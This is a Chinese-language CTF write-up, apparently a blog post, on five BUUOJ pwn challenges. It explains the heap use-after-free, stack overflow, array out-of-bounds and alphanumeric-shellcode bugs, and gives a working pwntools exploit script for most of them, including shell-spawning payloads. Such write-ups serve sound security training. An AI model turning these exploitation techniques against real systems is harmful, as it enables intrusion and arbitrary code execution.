buuoj Pwn writeup 111-115

111 gyctf_2020_signin

保护

在这里插入图片描述在这里插入图片描述四个功能,1,2,3,6.

1 add
在这里插入图片描述在这里插入图片描述
只能申请0x70大小的chunk,而且最多申请十次。

edit
在这里插入图片描述输入的大小最多0x50.cnt的值初始化为0,所以只有一次edit的机会。

在这里插入图片描述没有清理干净,有uaf。

在这里插入图片描述后门函数也有了,但是里面先是莫名其妙申请了个chunk,然后要求这个从来没有用过的ptr不是null。

注意到这个题是18.04,有tcache机制。

在说这个题的整体思路前呢,我们需要先明白两个机制。
calloc 有以下特性

不会分配 tcache chunk 中的 chunk 。

tcache 有以下特性

在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。

我们的总体思路是这样的。
因为我们最终的目的只不过是在ptr中能留下点什么东西就好。结合这道题的漏洞uaf,我们能做的是修改一些fd啥的。那么怎么通过这个uaf做到修改。
我们平常如果有uaf的话,就会去想到fastbin_attack,或者double free。但是这道题double free不行,他会有flag检测,我们只能想一想fastbin_attack的事情。
平常的话我们可以先修改一次fd,申请到malloc_hook,然后再写一次这样子,但是这道题我们只能写一次,我们只能向这道题靠拢,想办法利用题里面的把ptr的地方写一些东西。
我们最后发现system上面有个calloc,结合上面的机制,假如我们calloc的时候只能申请fastbin,而且会把剩余的大小相同的chunk挂入tcache,那么我们假如修改一次fastbin的fd,calloc一次,让下一个chunk,也就是我们的fakechunk挂到tcache链里面,那么自然会在那个fakechunk里面写一个chunk的地址,因为要形成一个链,那么我们的利用方式就想好了。

具体的利用方法
我们想要达成的最后目的是,申请一个fastbin的时候,把下一个我们的fakechunk挂进去,所以我们首先需要有fastbin chunk,那么就申请8个,释放8个。

我们需要再申请一个,因为我们需要给一会要挂进去的chunk留一个位置,然后就直接calloc申请,挂进去就好了。

exp

from pwn import *

r = remote("node3.buuoj.cn", 26121)

context.log_level = 'debug'
 
def add(idx):
    r.sendlineafter('your choice?',str(1))
    r.sendlineafter('idx?',str(idx))
 
def edit(idx,context):
    r.sendlineafter('your choice?',str(2))
    r.sendlineafter('idx?',str(idx))
    r.send(context)
 
def delete(idx):
    r.sendlineafter('your choice?',str(3))
    r.sendlineafter('idx?',str(idx))
 
add(0) 
add(1) 
add(2) 
add(3) 
add(4)  
add(5)
add(6)
add(7)   
 
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)
 
add(8)
payload = p64(0x4040c0-0x10).ljust(0x50,'\x00')
 
#gdb.attach(r)
 
edit(7,payload)
 
#gdb.attach(r)
r.sendlineafter('your choice?', '6')
r.interactive()

112 wdb2018_guess

保护
在这里插入图片描述fork wait函数
在这里插入图片描述有个栈溢出。

这个题你看他最多三个子线程,然后主进程等待子线程花里胡哨,但是你实际去跑一下你就会发现,它最后造成的一个效果就是你有三次猜flag的机会。
但是他不一样的地方就在于,一般来讲,假如程序退出了,无论是正常退出,还是crash,就都完了,但是这个程序这样创建三个线程的话,崩一个还会跑第二个,这样的。那么这样就又给我们引入了独特的利用方式,就是去利用他的报错信息。

然后我们看到会有栈溢出,有三次栈溢出的机会。开了canary。

上面把flag读到了栈上面。

那么我们怎么来利用这三次程序崩溃输出的机会。
首先呢我们要泄露libc的地址
然后通过libc来泄露栈的地址。
最后计算栈中的flag地址,输出flag。

要补充说明的是如何利用libc来泄露栈地址。

在libc中保存了一个函数叫_environ,存的是当前进程的环境变量
得到libc地址后,libc基址+_environ的偏移量=_environ的地址
在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关
通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量

所以这里获得flag地址需要实际去调一下,只是这个东西搭起了libc与栈的一个桥梁。

在这里插入图片描述最后就是这种效果。

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = "debug"

r = remote('node3.buuoj.cn',28608)
elf = ELF('./112')
libc = ELF("./64/libc-2.23.so")
puts_got = elf.got['puts']
 
#泄露puts地址
payload = 'a'*0x128 + p64(puts_got)
r.sendlineafter('Please type your guessing flag',payload)
r.recvuntil('stack smashing detected ***: ')
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
          
libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['__environ']
print 'environ_addr=',hex(environ_addr)
          
#泄露栈地址
payload = 'a'*0x128 + p64(environ_addr)
r.sendlineafter('Please type your guessing flag',payload)
r.recvuntil('stack smashing detected ***: ')
stack_addr = u64(r.recv(6).ljust(8,'\x00'))
flag_addr = stack_addr - 0x168
print 'flag_addr=',hex(flag_addr)
          
#泄露flag
payload = 'a'*0x128 + p64(flag_addr)
r.sendlineafter('Please type your guessing flag',payload)

r.interactive()

113 wustctf2020_name_your_cat

保护

在这里插入图片描述在这里插入图片描述在这里插入图片描述输入名字的这个函数没有检查,导致数组越界。

在这里插入图片描述
后门函数也有了,就数组越界然后把返回地址给它覆盖掉就好了。

然后我们计算一下偏移。
存放地址的地方是v3那个大小为40的数组。
在这里插入图片描述v3 - 8 * 5的话位置在我们可以看上面实际调试的一个结果。
这个时候是在那个namenew函数里面的,ebp指向的是vun的ebp。然后vun的ebp向上0x34是那个地址,然后再向上0x40就是返回地址。

所以我们直接就是-5.

而且经过调试我们发现,它压参数压了好几个。
究其原因呢我们发现
在这里插入图片描述这里esp一下减了0xc。

exp

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = "debug"

r = remote('node3.buuoj.cn',28843)
elf = ELF('./113')

system_addr = 0x80485cb

r.sendlineafter("Name for which?\n>", str(-5))
payload = p32(system_addr)
r.sendlineafter("Give your name plz: ", payload)
r.interactive()

114 mrctf2020_shellcode_revenge

可见字符shellcode

保护

在这里插入图片描述
首先我们要注意到它没有开NX。一般这种没开NX的,基本上都是让写shellcode。

在这里插入图片描述又是手撸汇编的一天。

在这里插入图片描述刚进来的这一块是先输出一串字符。
“Show me your magic!\n”

然后读入,我们可以看到,读入0x400h,但是上面buf是-410h,所以没溢出成。

在这里插入图片描述
中间这一大串我们可以看得出来是在判断,它与旁边的构成了一个回路,所以我们先猜测后证实,它就是对每个字符做判断,判断成功就回路回去去下一个判断,判断不成功就退出。

那它是在判断每个字符的啥条件呢?
判断的地方很多,但是长的都差不多。我们取其中一个来分析一下。
在这里插入图片描述jle jump if less or equal,or not greate。
所以这里就是比60h小就跳走。

然后经过一番判断呢,我们发现。
它的条件是
(60,74) 或者 (2f,5a)
其实你会发现说白了就是我们平常见到的数字跟字母的范围。

判断成功后我们可以看到,当eax是0的时候就跳走。
在这里插入图片描述

在这里插入图片描述然后把我们刚刚的输入给执行一下。
在这里插入图片描述所以它没有开NX,但是里面对我们的每个字符做了判断,所以我们这里就需要用到可以绕过它判断的shellcode。根据它的判断,字符都是可见的,所以这种shellcode又叫,可见字符shellcode。

使用alpha3生成alphanumeric shellcode
手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南

上面教程多多,学一下就好了。

exp

from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'

r = remote("node3.buuoj.cn", 29353) 

obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rax')

r.send(sc)
# 这个地方最后不能加回车,不然会认为它是有问题的字符。
#平常的printf的话是不会把回车读入的,但是这里是read

r.interactive()

115 picoctf_2018_buffer overflow 0

保护

在这里插入图片描述
在这里插入图片描述首先我们要注意到这个signal。

signal(11, (__sighandler_t)sigsegv_handler)

11是信号量。
11:SIGSEGV(非法内存访问)

程序定义了一个信号量,当出现这个信号量(非法内存访问)的时候,会执行sigsegv_handler函数。

那这个函数是干嘛的呢?
在这里插入图片描述即当我们非法内存访问的时候,会将我们的flag先放到标准错误的缓冲区,然后再清空缓冲区,也就是输出了出来。

那我们的利用思路就是想办法让它报错。

我们注意到下面有个vuln函数,这个函数是命令行传参,这个是我们首先要注意到的。然后点进去。
在这里插入图片描述有个栈溢出。

那么我们的思路就很明显了,让它溢出,然后报错,拿到flag。

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值